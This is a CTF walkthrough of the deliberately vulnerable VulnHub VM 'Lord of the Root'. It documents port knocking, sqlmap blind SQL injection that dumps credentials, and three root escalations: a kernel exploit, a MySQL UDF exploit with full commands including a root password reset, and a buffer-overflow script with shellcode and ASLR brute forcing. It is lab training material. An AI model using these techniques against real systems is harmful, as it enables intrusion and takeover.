Author KookSec created this machine to help others learn some basic CTF strategies and some tools. This machine is aimed to be very similar in difficulty to those found in the OSCP – which it was. This is a large post, but lists the 3 privilege escalation paths. What a great challenge.
Download from https://www.vulnhub.com/entry/lord-of-the-root-101,129/ and run in VirtualBox.
1) Research Port Knocking (nmap)
2) Enumerate (dirb, base64)
3) Blind SQLi (sqlmap)
4) Three options (possibly more) for privileged escalation. Local kernel, app miss configuration and BoF
Scanning and Enumeration
Find the host with netdiscover
Full nmap scan for all TCP and UDP ports. We find SSH is open (possibly OpenSSH v6.6.1p1), possibly Ubuntu with Linux kernel 3.x/4.x. No open UDP ports.
Also try wireshark with ip.addr == 192.168.56.106 to see if its making any noise. Nothing interesting.
When SSHing to the VM we get the below login. There is also text “LOTR Knock Friend To Enter” and “Easy as 1,2,3”. Not sure if hints or just text.
A bit of googling and apparently there is a technique call Port Knocking – “a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s)“. Maybe “Easy as 1,2,3” is also something to do with the sequence.
That sounds very interesting! Nmap allows multiple scanning techniques, lets try some of these.
I work my way through – sS, sU, sS, sT…. Note -r turns off port randomization which is on by default.
nmap -sT -r -p1,2,3 192.168.56.106
After each essential knock sequence attempt, I follow up with a full port scan to see if anything was opened. After a TCP connect scan (sT), another port reveals its self – woop woop!
Now re scanning that new port with nmap scan finds an HTTP port open
Setting up BurpeSuite, then opening the browser, we find an image on the default page.
Rurrning dirb and nikto finds some other directories we explore.
Trying anything that doesn’t exist gives the below image.
Downloading all the images locally, we try checking with strings, identity and binwalk for any hidden text in the images.
Eventually I revisit the web pages and in the page source for the hipster.jpg photo, a HTML comment is found.
Then try again and get a URL!
Entering in a browser, get a login page http://192.168.56.106:1337/978345210/
*rolls up sleeves* I first tried some common SQL injection strings in BurpSuite but receive no errors or hints what so every. Then move onto sqlmap and find the username field is vulnerable – yes!
First capture a login from Burp in Intercept. We are just interested in the the selected items – the URL and the POST data.
sqlmap –url ‘http://192.168.56.106:1337/978345210/index.php‘ –data=‘username=myUser&password=myPass&submit=’ –level=5 –risk=3
We find there is a vulnerable time-based blind injection point, additional queries can be made to pull data from the DB. This will sequentially test each character to confirm results are correct.
sqlmap –url ‘http://192.168.56.106:1337/978345210/index.php’ –data=’username=myUser&password=myPass&submit=’ –level=5 –risk=3 –dbs
-D “Webapp” –tables finds only the one table “Users”
-D “Webapp” -T “Users” –columns finds 3 columns in the Users table.
-D “Webapp” -T “Users” -C “id,username,password” –dump
Using these to login to the webapp does nothing. Trying to SSH in with these. Smeagol is the only account that gets a limited shell. ssh [email protected]
Next, more enumeration.
We check /var/www to see what else could be in there. In the “login.php” we find the mysql credentials and confirm they work.
Note we could have also found these when using sqlmap.
sqlmap –url ‘http://192.168.56.106:1337/978345210/index.php’ –data=’username=myUser&password=myPass&submit=’ –level=5 –risk=3 -D mysql -T user -C user,password –dump
When checking what services are running as root, it appears both Apache and MySQL are – could be useful for later.
Finding Vulnerabilities / Privilege Escalation
Now lets see what vulnerabilities exist for details we have found so far from enumeration.
- Ubuntu 14.04.3 LTS (with Linux kernel 3.19.0-25)
- OpenSSH v6.6.1p1
- Apache 2.4.7 (running as root)
- PHP 5.5.9
- MySQL >= 5.0.12 (running as root)
Exploit 1 – Linux Kernel
Starting with the linux kernel, we check searchsploit (after first updating -u)
We find a few potentials and one (39166) executes successfully.
From there we jump across to the /root directory and find the flag. While this worked, I don’t think It was the intended way.
Exploit 2 – Running MySQL as root
Another way to elevate our privileges is via the miss-configuration of MySQL. (*Note I have changed my setup since the first part of the post, so IP’s and kali box are different – kali is 192.168.0.100 and lotr .101).
1) Earlier when looking at running processes, mysql was found running as root. Also checking the versions (mysql –version) we find the exact version which is 5.5.44
2) A quick search and process of elimination we narrow this down to one potential (eg: removing exploits that are for windows, remote or denial of service).
Copy the file across to the with netcat
As a reference we bring up Checking out https://www.exploit-db.com/exploits/1518/ and follow the instructions. Note there was an typo for the -Wl (it had -W1). Some of the paths / usernames were also changed to suit our environment.
mv 1518.c raptor_udf2.c Rename the file because I’m
lazy efficient, so we can copy and past the commands.
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Now logging into mySQL with the credentials found earlier.
- mysql -u root -p
- mysql> create table foo(line blob);
- mysql> insert into foo values(load_file(‘/home/smeagol/raptor_udf2.so’));
- mysql> select * from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf2.so’;
- mysql> create function do_system returns integer soname ‘raptor_udf2.so’;
- mysql> select * from mysql.func;
- mysql> select do_system(‘id > /tmp/out; chown smeagol.smeagol /tmp/out’); The example in the exploit, sends the id command to /tmp/out. Then changes the owner/group from root to smeagol. Sure enough when this file is opened, we see it is from the root user – meaning we can tweak this to run whatever root commands we desire.
mysql> select do_system(‘echo “root:newpass2” | chpasswd’); This will send a new clear text password into the chpasswd command for the root user.
Exit out of mysql and running su – to become root. (Note adding the – on the end of the su command provides a similar environment to what that user what have if they logged in directly – try with or without it to see the difference)
Exploit 3 – The Lucky Door / Secret folder / BoF path
Another potential privilege escalation point .When looking for SUID weaknesses we find a SECRET folder which stands out.
Each folder has a executable that appears to require an input string to do something.
Assuming this is a Buffer Over Flow opportunity. While not great at these yet, lets give it a go.
1) The vulnerable file, keeps randomly moving between the door folders. So to confirm which file it is we can either use the file command and compare each file hash.
Or compare the filesize / date created with ls -lahR
Or file size with du -b (bytes). Note by the time I screenshot this, its changed from door 1 to door 3.
2) Copy the file away from the magic changing doors for further testing.
3) To confirm it is vulnerable, we can use a python command to quickly fuzz how many characters will crash it. Python has the -c argument which allows code to execute directly from the shell.
First sending 100 “A”‘s does nothing, but 200 cause a segmentation fault. Working back, we find 171 is the exact place that crashes it.
./bof $(python -c ‘print “A” * 171’)
4) A quick alternative way to copy small binary’s between systems is to use base64. First use base64 <fileName> to encode the binary and copy.
Then on the Kali box create a new text file and paste this in.
Then read the text file into the base64 command and decode to an output file – cat bof_base64.txt | base64 -d > bof. To confirm this worked, check the file type and hash and you will see it is the same as the earlier screenshot. Make executable and we are ready to proceed.
5) We can also use objdump -d –no-show-raw-insn <file> to get a bit more information from the file. Note under the main section, there are a few noticeable c keywords, particularly of interest is strcpy
6) Next steps are to create a basic skeleton script and then see what registers can be overridden. We already found it takes exactly 171 A’s to crash the program (alternatively you could use pattern_offset.rb from the metasploit framework) . Hopefully the next 4 characters “B’s” will land in EIP.
padding = “A” * 171
eip = “B” * 4
shellcode = “C” * 4
buffer = padding + eip + shellcode
Then run it through edb
edb –run ./bof $(python bofpoc.py)
As expected a segmentation fault is hit and the contents shows our “B’s” overwriting the EIP register. The ESP register also appears to point directly to the start of our “C’s” – this is where our shellcode can go.
The same can be done in gdb-peda (Python Exploit Development Assistance for GDB) which appears to be a handy little addon to gdb. I’ve never used this before, so will take this opportunity to explore more.
to setup git clone https://github.com/longld/peda.git ~/peda then to launch instead of gdb (read instruction file) echo “source ~/peda/peda.py” >> ~/.gdbinit . To launch just run gdb bof (where bof is the file). Get command help by using peda help <command> also check out command cheat sheet.
Running again in peda, we see the same results. EIP is overwritten with our 4 x B’s and then the ESP register points to the start of our 4 x C’s (to be our shellcode). Next find something that will get us to jump to the ESP register. On the Kali box its 0xbffff290
Peda can also check if any security is in place on the file which is handy to know.
Back on the lotr box, checking if Address Space Layout Randomisation (ASLR) is enabled is done by viewing the file /proc/sys/kernel/randomize_va_space. From the image below we see the value is 2 and its enabled. Note 0=No randomization, 1=Conservative randomization, 2=Full randomization.
To see this in action we can use ldd. Notice each time this is run the memory contents are different.
As we already have the root password from other priv esc, a quick peak how this behaves if it is disabled (set to 0). This time the memory contents are the same. Setting this back to enabled and jumping back to our limited user.
Reading up on how to bypass ASLR there are a few options, brute forcing sounds like the easiest to start with.
This is where you find a valid random memory address and just keep trying to use this again and again until it hits it. Chances of success can be increased by also having a massive NOP sled just before the shellcode. So if the memory address is within the NOP sled, it will hit it, then slide right to the shellcode.
Still on our kali box, we input some dummy values in, crash the program and find a memory address for ESP.
Instead of taking the first value 0xbffff280 we can pick something further into our NOP sled like 0xbffff289 – slightly increase our changes of landing. Note the command below is printing 25 units of memory from the esp register.
Next create some shellcode for our skeleton script. There are many options here but our goal is to launch a new shell as root so can use the exec command. This can be achieved using either exploit-db or generate in peda. Both worked when I tested. A few useful peda commands are below.
peda help shellcode – help on shellcode
shellcode search exec – how to search for all shellcode using ‘exec’
shellcode display 841 – display the source of the code found
shellcode generate x86/linux exec – generate code
put it all together in a skeleton poc script “bofpoc.py”
while i < 50000:
padding = ‘A’ * 171 #EIP offset
#Address from gbd (in LittleEndian format) 0xbffff289
RandomAddress = ‘\x89\xf2\xff\xbf
nopSleds = ‘\x90’ * 30000 #Large NOP sled/runway
#Linux/x86 – execve(/bin/sh) Shellcode (19 bytes)
shellcode = (‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68’
#peda 841 – Tiny Execve sh Shellcode – Linux/x86
shellcode2 = (‘\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f’
#gdb-peda$ shellcode generate x86/linux exec
#x86/linux/exec: 24 bytes
shellcode3 = (“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f”
exploit = padding + RandomAddress + nopSleds + shellcode
print “BruteForce attempt ” + str(i)
#calling the program to run with our malicious input
os.system(“/home/smeagol/bof” + ‘ ‘ + exploit)
Running this eventually hits the shell code an we get our prompt.
Time to take this poc back on the lotr machine. Run ls -lahR /SECRET/ again to locate the door location and update the script.
os.system(“/SECRET/door2/file” + ‘ ‘ + exploit)
Next find a correct memory address to use using gdb.
RandomAddress = ‘\xf0\x80\xff\xbf’
Then run the script python bofpoc.py
Note if you find you are getting a shell but its not root. High chance you are trying to exploit the wrong door. I found multiple times this was successful after <1000 attempts – if you get well past here, either your shellcode or memory address is incorrect.
Behind the curtains of The Lucky Door
Once in the root directory we can see the other files which where making the /SECRET folder part more difficult.
Every 3 minutes a cron job is running a python script “switcher.py”
This shuffles what script is found under each door folder. The “buf” file containing the buffer overflow and the “other” doing nothing.
The “other.c” file contains no strcpy funtion to exploit.
Where the “buf.c” file does.
Other Alternative Solutions
I always love to check out how other approached it. What they did differently, what I missed, better ways to solve the same problem etc.
- http://chousensha.github.io/blog/2017/06/12/bow-before-the-lord-of-the-root/ (set stack size to unlimited to bypass ASLR)
- http://kooksec.blogspot.com/2015/09/hacking-lord-of-root.html (used peda to create pattern and python to automatically find the right door)